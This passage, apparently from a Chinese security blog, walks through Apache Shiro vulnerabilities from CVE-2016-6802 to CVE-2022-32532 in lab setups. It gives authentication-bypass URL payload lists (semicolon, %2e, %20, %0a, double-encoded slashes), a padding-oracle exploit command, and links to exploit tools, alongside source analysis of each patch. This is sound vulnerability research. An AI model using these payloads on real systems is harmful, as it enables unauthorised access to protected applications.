具体的细节可以参考:https://mp.weixin.qq.com/s/m6eHtxGTMK4igNQcMpqxaw

在实战中我们使用工具会加快我们的效率,有很多优秀的利用工具可以使用:

https://github.com/Ares-X/shiro-exploit

https://github.com/SummerSec/ShiroAttack2

https://github.com/j1anFen/shiro_attack

https://github.com/pmiaowu/BurpShiroPassiveScan

漏洞修复

Shiro 在 1.2.5 的更新 Commit-4d5bb00 中针对此漏洞进行了修复,应用程序需要用户手动配置一个 cipherKey,如果不设置,将会生成一个新 key。但是如果cipherKey泄露给攻击者,那么还是会存在遭受反序列化攻击的可能。

image-20220927173947660

CVE-2016-6802

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2016-6802 / CNVD-2016-07814
影响版本 shiro < 1.3.2
漏洞描述 Shiro 使用非根 servlet 上下文路径中存在安全漏洞。远程攻击者通过构造的请求, 利用此漏洞可绕过目标 servlet 过滤器并获取访问权限。
漏洞关键字 绕过 | Context Path | 非根 | /x/../
漏洞补丁 Commit-b15ab92
相关链接 https://www.cnblogs.com/backlion/p/14055279.html

漏洞复现

接着用CVE-2010-3863的环境,改下shiro的依赖防止和CVE-2010-3863漏洞的利用重复了,因为这个漏洞涉及项目路径,所以在springboot的配置文件中配置下项目访问的路径:

1
server.servlet.context-path=/myshiro

配置好后,访问/myshiro/secret.html显示302跳转登录

image-20220927181448518

利用poc绕过权限校验,访问/x/../myshiro/secret.html绕过成功

image-20220927181907126

一般碰到权限校验的我都会用下我的字典跑下,看看有没有其他的payload可以绕过:

image-20220927182153307

整理下可用的payload,其实和CVE-2010-3863的payload差不多

1
2
3
4
5
6
7
8
/;/myshiro/secret.html
/./myshiro/secret.html
/a.ico/../myshiro/secret.html
/%2e/myshiro/secret.html
/%3b/../myshiro/secret.html
/;%09/myshiro/secret.html
/;%09../myshiro/secret.html
/;%2F../myshiro/secret.html

看到payload应该就大致明白漏洞点在哪了,CVE-2010-3863的问题是出在requestURI剔除contextPath之后的路径没有做路径标准化处理;而本次漏洞就是处在contextPath的路径没有做路径标准化处理。

漏洞分析

还是回到WebUtils#getPathWithinApplication方法,跟进getContextPath方法

image-20220927184759844

调用HttpServletRequestWrapper#getContextPath方法获取contextPath

image-20220927184845926

继续一路跟进来到tomcat-embed-core-9.0.65.jar!\org\apache\catalina\connector\Request.class#getContextPath方法

image-20220927185010974

首先会获取第二个 “/“的位置,然后进行截取比如:/x/../myshiro/secret.html截取得到 /x,然后做路径标准化处理(做法如CVE-2010-3863的处理),这里可以看到的出来它会循环获取”/“的位置,下一次就是截取到 /x/..

image-20220927185139169

然后将截取到的路径 /xcontext path进行比对,这里 context path即为项目路径 /myshiro/x/myshiro发现不匹配,就会获取下一个”/“的位置,即上面的 /x/..,然后继续匹配

image-20220927185426755

最后当截取的路径为 /x/../myshiro经过路径标准化处理后得到 /myshiro与之匹配,然后返回 uri.substring(0, pos)的结果即为 /x/../myshiro

image-20220927185916222

返回之后回到getPathWithinApplication方法中,判断requestUri的开头是否是contextPath,显然是false,直接返回requestUri

image-20220928094139942

而后与pathPattern进行匹配,最后匹配不上就走的/**规则

image-20220928094544368

漏洞修复

Shiro 在 1.3.2 版本更新中 Commit-b15ab92 中针对此漏洞进行了修复。修复方式和 CVE-2010-3863 一样,使用路径标准化方法 normalize 来处理 Context Path。

image-20220928100114414

CVE-2019-12422

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2019-12422 / CNVD-2016-07814 / SHIRO-721
影响版本 shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1)
漏洞描述 RememberMe Cookie 默认通过 AES-128-CBC 模式加密,这种加密方式容易受到 Padding Oracle Attack 攻击,攻击者利用有效的 RememberMe Cookie 作为前缀, 然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击。
漏洞关键字 反序列化 | RememberMe | Padding | CBC
漏洞补丁 Commit-a801878
相关链接 https://blog.skullsecurity.org/2016/12 https://resources.infosecinstitute.com/topic/padding-oracle-attack-2/ https://codeantenna.com/a/OwWV5Ivtsi

漏洞复现

环境用的是这位师傅的 https://github.com/inspiringz/Shiro-721/tree/master/Docker,搭建好后访问得到如下:

image-20220928104258960

勾选rememberMe,登录获取rememberMe的cookie value

1
rememberMe=UHO2xoJqYLimSdPUt+qvPuJc2MqyYr1MOHj20pCIpD9WYs9oc8oOvHo9DdfjY/2fNv5mB34OIgamHYByPj75f7ixcrame6ad5/F5sfKJ+7+r3qj5l0SSJMK4S9PpHHzHY4heNG1oOvcqQSekm4msr3W6YoYNPP0THVbf7u0Yt3vzMzgxJzAqbCFRDXyY6L+ryFRfyE0jjPvfHyk9G2EbZBLsvEHlUPr9AZ+GWP+VkB2mUYF8yk2QSPOzVYr0NmYOAjGIY5IJhcn7lW5USNmWuXDLF/lkJvvjzR7cKA6NvG+4u0mEbHfETPFijiwsRjEwxlORwOmMnR5SkH1MWFRspijIk4WRSFPQnexQTq+Y4uuLDU9N69UrfhlFAGI3rRni42OpEzvkyHd+k7+jHvIL0haGdxRsyXLSO3rjLVLnRaNxyuUpVya4s2iENx5/fpOqigJcYxi3l5QLMe2vAtHxNrlKMuM+Al3BYEhI/ep06zWyAiv3XrmCrIlDV5NcH3Sa

使用ysoserial生成payload

image-20220928104630508

利用脚本还是这位师傅的:https://github.com/inspiringz/Shiro-721

1
python2 .\shiro_exp.py "http://192.168.12.130:8080/myshiro/" "UHO2xoJqYLimSdPUt+qvPuJc2MqyYr1MOHj20pCIpD9WYs9oc8oOvHo9DdfjY/2fNv5mB34OIgamHYByPj75f7ixcrame6ad5/F5sfKJ+7+r3qj5l0SSJMK4S9PpHHzHY4heNG1oOvcqQSekm4msr3W6YoYNPP0THVbf7u0Yt3vzMzgxJzAqbCFRDXyY6L+ryFRfyE0jjPvfHyk9G2EbZBLsvEHlUPr9AZ+GWP+VkB2mUYF8yk2QSPOzVYr0NmYOAjGIY5IJhcn7lW5USNmWuXDLF/lkJvvjzR7cKA6NvG+4u0mEbHfETPFijiwsRjEwxlORwOmMnR5SkH1MWFRspijIk4WRSFPQnexQTq+Y4uuLDU9N69UrfhlFAGI3rRni42OpEzvkyHd+k7+jHvIL0haGdxRsyXLSO3rjLVLnRaNxyuUpVya4s2iENx5/fpOqigJcYxi3l5QLMe2vAtHxNrlKMuM+Al3BYEhI/ep06zWyAiv3XrmCrIlDV5NcH3Sa" .\payload.ser

image-20220928112434246

最后得到可利用的RememberMe Cookie,发送数据包即可,这里因为电脑比较卡,就没有跑出来。

漏洞分析

这块的漏洞原理和CVE-2016-6802讲的shiro key探测类似,都是通过异常走进catch代码块中的onRememberedPrincipalFailure方法,导致响应包出现deleteMe的字段,根据回显的不同来进行探测的

image-20220928114808156

先进入convertBytesToPrincipals方法中看下哪个点会触发异常,这里有个getCipherService方法不会导致异常的发生,那就看下decrypt方法

image-20220928115132872

跟进decrypt方法,调用arraycopy方法将原密文复制到encrypted数组中,并传入JcaCipherService#decrypt一个重载方法

image-20220928130345936

继续一直调用decrypt重载方法,最后来到这个重载方法,调用Cipher#doFinal方法

image-20220928131119321

来到AESCipher#engineDoFinal

image-20220928131235460

继续向下通过CipherCore#unpad方法检测是否padding正确,否则抛出异常

image-20220928131843275

unpad方法的检测逻辑

image-20220928132008112

所以,如果padding正确,那么就会返回正常的数据包,如果padding异常就会被最开始的AbstractRememberMeManager#getRememberedPrincipals方法捕获,进入AbstractRememberMeManager#onRememberedPrincipalFailure方法中,后面在响应包中回显deleteMe在检测key时就说明过了,不在向下分析。

有关RememberMe Padding Oracle更多的细节可以看:https://xz.aliyun.com/t/9406

漏洞修复

在 1.4.2 版本的更新 Commit-a801878 中针对此漏洞进行了修复,在AesCipherService中重写了createParameterSpec方法,设置默认使用 GCM 加密模式

image-20220928132853662

CVE-2020-1957

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2020-1957 / CNVD-2020-20984 / SHIRO-682
影响版本 shiro < 1.5.3
漏洞描述 Spring Boot 中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL 利用 Shiro 和 SpringBoot 对 URL 的处理的差异化,可以绕过 Shiro 对 SpringBoot 中的 Servlet 的权限控制,越权并实现未授权访问。
漏洞关键字 SpringBoot | 差异化处理 | / | 绕过
漏洞补丁 Commit-589f10d && Commit-9762f97 && Commit-3708d79
相关链接 SHIRO-742 https://www.openwall.com/lists/oss-security/2020/03/23/2 CVE-2020-2957 -> ?

漏洞复现

漏洞起源于 SHIRO-682,根据描述信息大致可以知道,在shiro和spring结合使用时,spring请求的 /resource/meuns/resource/menus/ 都能够访问到资源,但是在shiro的pathPattern匹配时,会匹配上 /resource/meuns ,但不能匹配 /resource/menus/,因此可以使用reuestURI + “/“ 去绕过filter chain,绕过shiro的权限校验。

image-20220928141454818

下面简单搭建一个springboot+shiro的环境,shiro的版本用的是<=1.5.1即可,ShiroConfig配置好需要鉴权的路径

image-20220928141917697

然后访问需要权限的 /admin/index 接口,如下显示302需要登录

image-20220928142111557

这时根据漏洞的描述,访问 /admin/index/,成功绕过

image-20220928142225627

习惯性的用字典跑一下,还是可以采用 “;”进行绕过

1
2
3
/;/myshiro/admin/index 
/%3b/../myshiro/admin/index
/img/..;/myshiro/admin/index

image-20220928144402921

漏洞分析

spring 在分发请求时,会调用PathPatternsRequestCondition#getMatchingPatterns获取匹配的路径,调用的是PathPattern.mathches进行匹配,从结果来看spring认为 /admin/index/admin/index/ 一样

image-20220928154502666

而shiro的路径匹配采用的是org.apache.shiro.util.PatternMatcher#matches,返回false,就导致了shiro的权限绕过

image-20220928154953327

在上面漏洞复现的时候,我会习惯性地用字典跑一个权限绕过的payload,大家应该发现每次跑的时候都存在一个 ";" 绕过的方式,而这个方式就是对上面的一种绕过,修改下环境的shiro版本,上面环境用的是shiro1.4.2,现在改用shiro1.5.2(该版本已经修复了上面采用 “/“ 进行全绕过的漏洞),在pom.xml中修改为如下

1
2
3
4
5
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.2</version>
</dependency>

此时,再去测试时就会发现 "/" 这种方式已经失效了

image-20220928155626915

试试之前经常用的 ";" ,可以发现依旧能够绕过权限校验

image-20220928155800583

注:该绕过方式在shiro1.5.3终于修复,下面是shiro1.5.3的环境

image-20220928155943938

那么,我们就要研究下在shiro<=1.5.2中,";" 绕过的原理是什么,以及在shiro1.5.3中又是如何修复的呢,下面开始分析。

还是从org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法开始分析

image-20220928162410071

这里看到获取的contextPath的值是 "/;/shiro", 根据经验,只要requestUri不是以contextPath开头那都可能存在问题提,所以这次可能也不例外

image-20220928162756918

进入org.apache.shiro.web.util.WebUtils#getRequestUri,发现在处理uri时会调用WebUtils#decodeAndCleanUriString进行处理

image-20220928163058300

跟进WebUtils#decodeAndCleanUriString,可以发现,这里会检查uri中是否包含有 ";",如果有,就以第一个 ";"为下标进行字符串截取,如下截取完之后就会返回 "/"

image-20220928163306583

所以,requestUri返回 "/"

image-20220928163506624

而后,在进行路径匹配时,那就是false了,shiro这层就绕过了

image-20220928163703620

那spring有是如何处理requestUri,它会对 ";" 做什么处理?

spring处理的时候会调用org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString方法处理uri,如下,包含有三个方法,每一个方法都对uri进行了相应的处理

image-20220928164110510

首先,跟进UrlPathHelper#removeSemicolonContent方法,发现循环体会将;xxx/中的分号与斜杠之间的字符串以及分号本身都去掉,也就是说 "/;aa/bbb"会转化成 "/bbb"

image-20220928170023801

返回,进入第二个decodeRequestString方法,发现会根据对应的编码进行解码操作,否则进行url解码

image-20220928170702289

进入第三个getSanitizedPath方法,可以看到就是将 "//" 转成 "/"

image-20220928170850153

所以,我们的uri:/;a/myshiro/admin/index经过这三个函数转化后变成 /myshiro/admin/index

漏洞修复

对于采用 “/“的形式绕过,在Commit-589f10dCommit-9762f97中得到了修复,如果requestURI以 “/“结尾就去除

image-20220928171802652

第二次提交是Commit-9762f97,对path与 “/“ 做了个判断

image-20220928172255334

对使用 ";" 绕过的修复在 Commit-3708d79

image-20220928172526683

获取requestURI的方式发生了改变,改成如下方式:

1
uri = request.getContextPath() + "/" + request.getServletPath() + request.getPathInfo();

说明下这几个方法的区别:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
假设访问url为:http://127.0.0.1:8080/myshiro/admin/index
request.getContextPath():返回上下文路径(也就是工程名)
- 返回的就是/myshiro,如果工程名为空,那返回的也是空
request.getServletPath():返回除去host和工程名部分的路径
- 当访问servlet时:返回就是/admin/index
- 当访问resource目录下的login.jsp时:返回的就是/resource/login.jsp
request.getRequestURI():返回除去host(域名或者ip)部分的路径
- 当访问servlet时:/myshiro/admin/index
- 当访问resource目录下的login.jsp时:返回的就是/resource/login.jsp
request.getRequestURL():返回的整个URL的路径请求
- 返回的就是http://127.0.0.1:8080/myshiro/admin/index
request.getRealPath():返回的文件所在的绝对路径,相对于当前计算机的真实路径
request.getPathInfo():返回请求的实际URL相对于请求的serlvet的url的路径。
- 当servlet配置为(url-pattern=/admin/index/*)时,访问http://127.0.0.1:8080/myshiro/admin/index/a/b.html,则返回的就是/a/b.html
request.getScheme():返回的是使用的协议(http 或https)
request.getProtocol():获取的是协议的名称(HTTP/1.11)
request.getServerName():获取的是域名
request.getLocalName():获取到的是IP

假设访问url为:http://localhost/hehehe (无工程名)
getContextPath:
getServletPath:/hehehe
getRequestURI():/hehehe
getRequestURL():http://localhost/hehehe
getRealPath():E:\java\myshiro\out\artifacts\myshiro_Web_exploded\
getPathInfo():null

但其实在这里测试使用 ";" 还是可以绕过,因为在request.getContextPath方法处理的结果还是包含 ";"

image-20220928214909319

真正的修复在 shiro1.5.3中,直接采用getServletPath(request) + getPathInfo(request)获取requestURI,然后返回和PathPattern比对。

image-20220929001014321

再次用/;/admin/index测试得到如下:

image-20220929000516277

image-20220928215845274

CVE-2020-11989

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2020-11989 / SHIRO-782
影响版本 shiro < 1.5.3
漏洞描述 将 Apache Shiro 与 Spring 动态控制器一起使用时,特制请求可能会导致身份验证绕过。
漏洞关键字 Spring | 双重编码 | %25%32%66 | 绕过 | context-path | /;/
漏洞补丁 Commit-01887f6
相关链接 https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/ https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA

漏洞复现

之前我们在配置路径表达式的时候都是配置成/admin/**这种形式,这种风格叫Ant风格,ANT 通配符有 3 种

通配符 说明
? 匹配任何单字符
* 匹配0或者任意数量的字符
** 匹配0或者更多的目录

当配置成 /admin/*时,我们访问 /admin/a会被拦截,但是访问 /admin/a/b则不会,本次漏洞的触发原因之一就是当配置路径表达式中使用了 "*", 下面我们搭建环境复现。

环境有点小变化,ShiroConfig配置成如下形式 /admin/*

image-20220928181605844

修改controller的路径访问,配置成restful风格的请求方式:@PostMapping(value = "/{name}")

image-20220928182139175

当访问/admin/*下的资源时,被拦截

image-20220928182341408

当访问/admin/index%252Fxxxxxx是时,权限被绕过

image-20220928182424218

漏洞分析

在分析漏洞前,先了解下tomcat URL解析的差异,在CVE-2020-1957的结尾我们了解了HTTPServletRequest的几个解析URL的函数,现在回顾一遍

网上的一个小结,Servlet的匹配路径为/test%3F/*,并且Web应用是部署在/app下,此时请求的URL为http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID?p+1=c+d&p+2=e+f#a,各个函数解析如下表:

函数 URL解码 解析结构
getRequestURL() no http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID
getRequestURI() no /app/test%3F/a%3F+b;jsessionid=s%3F+ID
getContextPath() no /app
getServletPath() yes /test?
getPathInfo() yes /a?+b

结论的具体分析细节可以看这篇文章:https://xz.aliyun.com/t/7544;贴出上面结论的原因就是这次的漏洞的成因之一就来自于上面列出的解析函数对URL解码的特性,既然tomcat对url的处理方式是这样的,那shiro的处理会有所差异么?我们来分析看看。

本次漏洞环境还是用的shiro1.5.2的,请求/myshiro/admin/index%252Faa,调式 进入getRequestUri方法

image-20220928224714728

更进,发现调用了request.getServletPath方法进行uri拼接,在上面的函数表格里,getServletPath方法会对url进行一次解码

image-20220928224824750

可以看到此时getServletPath返回的值为 /admin/index%2Faa,uri为/myshiro//admin/index%2Faa

image-20220928225355829

然后将uri传入decodeAndCleanUriString方法,继续进入decodeRequestString方法

image-20220928225500816

这里会对uri再进行一次解码,原本uri为/myshiro//admin/index%2Faa,解码之后得到/myshiro//admin/index/aa

image-20220928225554119

然后返回/admin/index/aa

image-20220928231154403

最后匹配不上,导致权限绕过

image-20220928231825694

而spring在处理时会把/myshiro/admin/index%252Faa处理成 /admin/index%2Faa,就会被@PostMapping(value = "/{name}")接收,可能会绕过请求。

漏洞修复

Shiro 在 Commit-01887f6 中针对此漏洞进行了修复,第一处修改,采用getServletPath(request) + getPathInfo(request)获取requestURI

image-20220928235703523

第二处修改就是直接用HttpServletRequest.getRequestURI方法获取uri

image-20220928235916963

CVE-2020-13933

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2020-13933 / CNVD-2020-46579
影响版本 shiro < 1.6.0
漏洞描述 Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的 HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字 Spring | 顺序 | %3b | 绕过
漏洞补丁 Commit-dc194fc
相关链接 https://xz.aliyun.com/t/8223

漏洞复现

本次环境采用的是shiro1.5.3,使用CVE-2020-11989的payload发现失效

image-20220929003343765

使用 /myshiro/admin/%3baa成功绕过

image-20220929003023305

漏洞分析

发送payload,调式进入org.apache.shiro.web.util.WebUtils#getPathWithinApplication方法中,根据表达式运算工具,返回的是 "/admin/",和预期的一样

image-20220929003634143

下面简单分析下绕过的过程,在上面有提到过WebUtils#getServletPath会对url进行一次解码,因此我们请求的/myshiro/admin/%3baa变成了/admin/;aa

image-20220929003830087

然后调用removeSemicolon方法处理,熟悉的都知道这个是去除 ";"及后面的字符串

image-20220929004034127

然后再调用normalize函数进行路径标准化处理,最后得到的就是/admin/,返回requestURI后,去除末尾的 "/",与pathPattern: "/admin/*" 匹配失败导致权限绕过。

image-20220929004233861

而spring、tomcat会将请求处理成/admin/;aa,然后配合 PathVariable 注解 String 类型的参数,导致可以绕过鉴权请求 /admin/{name}

漏洞修复

本次漏洞修复位于 Commit-dc194fc 中,新增了一个全局过滤器

image-20220929004959661

在类的注释中详细的说明了该过滤器的作用和规则,将会阻断带有分号,反斜线,非 ASCII 字符的请求,返回400状态码

image-20220929005122565

并添加进全局过滤器中

image-20220929005854832

CVE-2020-17510

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2020-17510 / CNVD-2020-60318
影响版本 shiro < 1.7.0
漏洞描述 Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的 HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字 Spring | 编码 | %2e | 绕过 | /%2e%2e/
漏洞补丁 Commit-6acaaee
相关链接 https://lists.apache.org/thread/12bn9ysx6ogm830stywro4pkoq8dxzfk

漏洞复现

本次环境采用的是shiro1.6.0以及 PathVariable 注解 String 类型参数的场景,还是基于 AntPathMatcher 的绕过,前面的绕过有个共性就是shiro对uri处理的逻辑与Spring不同导致的,还记得CVE-2010-3836采用的是 "." 进行绕过的,还有采用 ";"和URL编码%3b的,那 “.”的url编码%2e可否呢,本次漏洞的payload就是出自%2e。

用CVE-2020-13933的payload,失败

image-20220929011116229

访问 /myshiro/admin/%2e即可绕过

image-20220929010952572

当然还有/myshiro/admin/%2e//myshiro/admin/%2e%2e/myshiro/admin/%2e%2e/

image-20220929011211496

漏洞分析

访问/myshiro/admin/%2e,调试进入org.apache.shiro.web.util.WebUtils#getPathWithinApplication,运算表达式,可见返回"/admin/",到这就不用继续下去了,和CVE-2020-13933的分析一样,先调用getServletPath方法对 /admin/%2e进行url解码得到/admin/.,然后经过normalize函数路径标准化将/admin/.转化为/admin/,到这也就为什么/myshiro/admin/%2e//myshiro/admin/%2e%2e/myshiro/admin/%2e%2e/ 这几个payload能用的原因了,经过这两个方法处理都“无了”。

经测试,getServletPath方法会进行url解码,”;”及后面字符串的去除,和路径标准化处理

image-20220929011646282

对于Spring来说,Spring Boot 版本在小于等于 2.3.0.RELEASE时,会对uri进行解码然后路径标准化,这样得到的路径为/myshiro/admin,没有路径与之匹配。所以只有当 Spring Boot 版本在大于 2.3.0.RELEASE时标准化路径后/myshiro/admin/%2e,然后解码得到/myshiro/admin/.,所以其他payload:

1
2
3
/myshiro/admin/%2e/  -> /myshiro/admin/%2e/ -> /myshiro/admin/./ 
/myshiro/admin/%2e%2e -> /myshiro/admin/%2e%2e -> /myshiro/admin/..
/myshiro/admin/%2e%2e/ -> /myshiro/admin/%2e%2e/ -> /myshiro/admin/../

漏洞修复

本次漏洞修复位于 Commit-6acaaee,创建了 UrlPathHelper 的子类 ShiroUrlPathHelper,并重写了 getPathWithinApplicationgetPathWithinServletMapping 两个方法,使得spring在处理uri时使用 Shiro 自己的逻辑 WebUtils#getPathWithinApplication 进行返回,这样就能保证Spring 与 Shiro 处理requestURI时不会在差异

image-20220929023441599

创建好ShiroUrlPathHelper类后,就将其导入到ApplicationConfig配置类中

image-20220929023951127

RequestMappingHandlerMapping#urlPathHelper 设置为 ShiroUrlPathHelper,而后,Spring 在匹配 handler 时获取路径的逻辑就会使用 Shiro 提供的逻辑。在高版本的spring中,会导致应用程序使用 UrlPathHelper.defaultInstance 来处理,而不是 Shiro 实现的 ShiroUrlPathHelper 来处理,又会导致权限绕过的产生。

image-20220929024451029

CVE-2020-17523

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2020-17523 / CNVD-2021-09492
影响版本 shiro < 1.7.1
漏洞描述 Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的 HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字 Spring | trim | %20 | 绕过 | /%20%20/
漏洞补丁 Commit-ab1ea4a
相关链接 https://www.anquanke.com/post/id/230935 https://www.eso.org/~ndelmott/url_encode.html

漏洞复现

本次环境用的是shiro1.7.0和依赖单个 “*” 的通配符以及 PathVariable 注解 String 类型的参数的场景触发漏洞,本次的绕过方法是使用空格的 URL 编码:%20

访问 /myshiro/admin/%20成功绕过,当然也可以 /myshiro/admin/%20%20 /myshiro/admin/%20%20/

image-20220929032153886

漏洞分析

处理完之后的requestURI为 "/admin/ "和pathPattern "/admin/*"进行匹配,这里肯定是匹配失败返回false的,但是为什么呢

image-20220929030502864

跟进来到org.apache.shiro.util.AntPathMatcher#doMatch方法,这里会调用org.apache.shiro.util.StringUtils#tokenizeToStringArray方法对pattern和path进行处理,我们跟进去

image-20220929030711053

org.apache.shiro.util.StringUtils#tokenizeToStringArray方法中主要是将str按照delimiters进行分割,然后保存到tokens中,其中传入的两个布尔类型的参数trimTokens控制是否对token去除空格,ignoreEmptyTokens控制是否忽略空的tokens

image-20220929031134396

在去出第二个token时,这里的token为 " ",因为经过trim()处理后为"",所以最终返回的tokens数组就只有admin一个,导致匹配失败

image-20220929031416572

而对于spring来说,空格也是可以作为RequestMapping请求的路径的,所以能够请求成功

漏洞修复

本次漏洞修复位于Commit-ab1ea4a,将org.apache.shiro.util.StringUtils#tokenizeToStringArray 方法的第三个参数 trimTokens 设置为 false,忽略空格的去除

image-20220929031859220

CVE-2021-41303

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2021-41303 / SHIRO-825
影响版本 shiro < 1.8.0
漏洞描述 Apache Shiro 与 Spring Boot 一起使用时,远程攻击者可以发送特制的 HTTP 请求, 绕过身份验证过程并获得对应用程序的未授权访问。
漏洞关键字 Spring | 回退 | /aaa/*/ | 绕过
漏洞补丁 Commit-4a20bf0
相关链接 [https://threedr3am.github.io/](https://threedr3am.github.io/2021/09/22/从源码diff分析Apache-Shiro 1.7.1版本的auth bypass(CVE-2021-41303)/)

漏洞复现

本次环境用的是shiro1.7.1,配置匹配规则如下

1
2
filterMap.put("/admin/*", "authc");
filterMap.put("/admin/test", "anon");

直接访问 /myshiro/admin/test失败,因为会和第一条规则匹配

image-20220929101119957

访问 /myshiro/admin/test/,成功绕过

image-20220929101333216

漏洞分析

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法中相较于shiro1.7.0版本有了些不同

image-20220929140503407

在1.7.1中把外部可控的requestURINoTrailingSlash(requestURI去掉了/后缀)带入到了org.apache.shiro.web.filter.mgt.FilterChainManager#proxy方法中,因此可以发送特定的请求去达到权限绕过。

场景一:当发送如下的请求时,因为requestURI和pathPattern直接就匹配上了,进入到了filterChainManager.proxy(originalChain, pathPattern),就无法利用

1
2
URI:/myshiro/admin/test
pathPattern:/admin/*

场景二:当发送如下的请求时,我们在URI后多加一个/,就能让requestURI和pathPattern匹配不上,进入第二次匹配,并且能在第二次匹配中使其pathPattern和requestURINoTrailingSlash成功匹配上,从而进入filterChainManager.proxy(originalChain, requestURINoTrailingSlash)

1
2
URI:/myshiro/admin/test/
pathPattern:/admin/*

但是如果requestURINoTrailingSlash在鉴权配置的map中找不到(字符串比较)对应的value数据时,就会报错,而在shiro1.7.1之前,传入的是外部无法控制的pathPattern,而pathPattern是来自于鉴权配置map中的key,所以肯定是可以找到

image-20220929142213955

如果我们在环境中配置如下规则

1
2
filterMap.put("/admin/*", "authc");
filterMap.put("/admin/test", "anon");

在shiro1.7.1之前,我们访问 /myshiro/admin/test/,此时调用filterChainManager.proxy(originalChain, "/admin/*")那肯定是 /admin/*这个authc filter进行了处理进行了拦截,在shiro1.7.1开始,调用的就是filterChainManager.proxy(originalChain, "/admin/test")那肯定是 /admin/test这个anon filter进行了处理,进而顺利的bypass auth访问到了接口。

更多细节可以参考:从源码diff分析Apache-Shiro 1.7.1版本的auth bypass(CVE-2021-41303))

漏洞修复

本次漏洞修复位于 Commit-4a20bf0,解决方式就是和1.7.1之前一样传入pathPattern获取filter

image-20220929143422342

CVE-2022-32532

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2022-32532
影响版本 shiro < 1.9.1
漏洞描述 RegexRequestMatcher 在使用带有 “.” 的正则时,可能会导致权限绕过
漏洞关键字 RegexRequestMatcher | . | 绕过
漏洞补丁 Commit-4a20bf0
相关链接 CVE-2022-32532 https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh https://tanzu.vmware.com/security/cve-2022-22978

漏洞复现

该漏洞和CVE-2022-22978 Spring-security RegexRequestMatcher 认证绕过漏洞类似,在 RegexRequestMatcher 中使用的正则匹配在默认情况下, 正则表达式中点(.)不会匹配换行符, 设置了Pattern.DOTALL模式, 才会匹配所有字符包括换行符,因此可以使用在路径中添加换行符来绕过权限校验。

漏洞环境采用的是4ra1n师傅的,但已经删除了,可以访问https://github.com/Lay0us1/CVE-2022-32532

在这套环境中用的是shiro1.9.0,环境使用的PatternMatcher为RegExPatternMatcher

image-20220929145453712

环境搭建好后,/permit/*下的都是需要权限的,因此直接访问失败

image-20220929145816133

使用绕过的payload /myshiro/permit/%0axx,成功访问

image-20220929145930657

漏洞分析

使用payload访问,调式进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain,在进行pathPattern匹配时会调用org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches,该方法会获取PatternMatcher

image-20220929150615200

此时获取到的不再是默认的AntPathMatcher,而是RegExPatternMatcher,在该类中并没有配置Pattern.DOTALL,导致匹配失败

image-20220929151424114

漏洞修复

本次漏洞修复位于 Commit-6bcb92e,在进行正则匹配时添加了 Pattern.DOTALL 选项

image-20220929151605959

总结

花三天全部漏洞跟了一遍,算是解决了之前的一些疑惑,后面打算再把fastjson全版本漏洞过一遍,加深对漏洞的理解。

环境的代码上传到github了,有需要的自取:shiro环境.zip,很多漏洞可公用一个环境,只需简单改下shiro的版本即可。

我自己整理的权限绕过的字典放在了GitHub上:auth_bypass.txt,使用很灵活,可以在contextpath处,servlet后,或者path中间等等。

文中大量参考了su18师傅的分析过程,su18师傅的文章写的很详细,浅显易懂。

参考

https://su18.org/post/shiro-5/

https://blog.csdn.net/Xxy605/article/details/125404334
https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect
https://cloud.tencent.com/developer/article/1848169
https://blog.csdn.net/whq12789/article/details/88031965
https://mp.weixin.qq.com/s/m6eHtxGTMK4igNQcMpqxaw
https://github.com/Ares-X/shiro-exploit
https://github.com/inspiringz/Shiro-721
https://xz.aliyun.com/t/9406
https://xz.aliyun.com/t/7544
https://threedr3am.github.io/2021/09/22/%E4%BB%8E%E6%BA%90%E7%A0%81diff%E5%88%86%E6%9E%90Apache-Shiro%201.7.1%E7%89%88%E6%9C%AC%E7%9A%84auth%20bypass%EF%BC%88CVE-2021-41303%EF%BC%89/
https://github.com/Lay0us1/CVE-2022-32532